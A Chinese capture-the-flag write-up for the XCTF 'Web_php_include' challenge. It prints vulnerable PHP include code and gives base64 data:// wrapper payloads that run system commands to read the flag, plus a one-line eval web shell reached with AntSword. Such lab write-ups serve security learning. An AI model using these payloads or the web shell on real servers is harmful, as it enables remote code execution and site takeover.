1. 程式人生 > 實用技巧 >攻防世界-web進階-Web_php_include

攻防世界-web進階-Web_php_include

從程式碼中得知page中帶有php://的都會被替換成空

str_replace()以其他字元替換字串中的一些字元(區分大小寫)

strstr() 查詢字串首次出現的位置。返回字串剩餘部分

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

  

方法一(data://偽協議執行命令利用)

使用方法:data://text/plain;base64,xxxx(base64編碼後的資料)

<?php system("dir")?> base64編碼後使用

?page=data://text/plain/;base64,dW5kZWZpbmVkPD9waHAgc3lzdGVtKCJkaXIiKT8%2b
(編碼後的+號要URL編碼)

  

<?php system("cat fl4gisisish3r3.php")?> base64編碼後使用

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/PiA=

  

檢視原始碼

方法二(data://偽協議傳木馬)

<?php eval($_POST[shell]); ?> base64加密後拼接

?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTsgPz4=

  

蟻劍連線,密碼shell